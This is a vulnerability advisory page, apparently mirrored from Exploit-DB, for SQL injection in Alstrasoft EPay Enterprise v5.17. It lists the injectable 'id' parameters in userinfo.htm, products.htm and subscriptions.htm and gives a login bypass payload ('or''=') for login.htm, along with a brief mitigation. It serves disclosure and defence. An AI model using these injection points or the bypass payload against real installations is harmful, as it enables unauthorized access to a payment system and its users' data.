Alstrasoft EPay Enterprise v5.17 Script - SQL Injection

vendor:

EPay Enterprise

by:

Ihsan Sencan

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: EPay Enterprise

Affected Version From: 5.17

Affected Version To: 5.17

Patch Exists: NO

Related CWE: N/A

CPE: a:alstrasoft:epay_enterprise:5.17

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Alstrasoft EPay Enterprise v5.17 Script – SQL Injection

Alstrasoft EPay Enterprise v5.17 Script is vulnerable to SQL Injection. Attackers can exploit this vulnerability by sending malicious SQL queries to the vulnerable web application. This can be done by sending specially crafted requests to the vulnerable web application. The vulnerable parameters are 'id' in userinfo.htm, products.htm and subscriptions.htm. An authentication bypass vulnerability is also present in the login.htm page, where attackers can set the Username and Password to 'or''=' and hit enter.

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries. Input validation should be done on both client-side and server-side.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Alstrasoft EPay Enterprise v5.17 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/epay_enterprise.htm
# Demo: http://blizsoft.com/enterprise/
# Version: 5.17
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/members/userinfo.htm?id=[SQL]
# http://localhost/[PATH]/members/products.htm?id=[SQL]&action=update
# http://localhost/[PATH]/members/subscriptions.htm?id=[SQL]&action=update
# Authentication Bypass :
# http://localhost/[PATH]/members/login.htm and set Username:'or''=' and Password to 'or''=' and hit enter.
# # # # #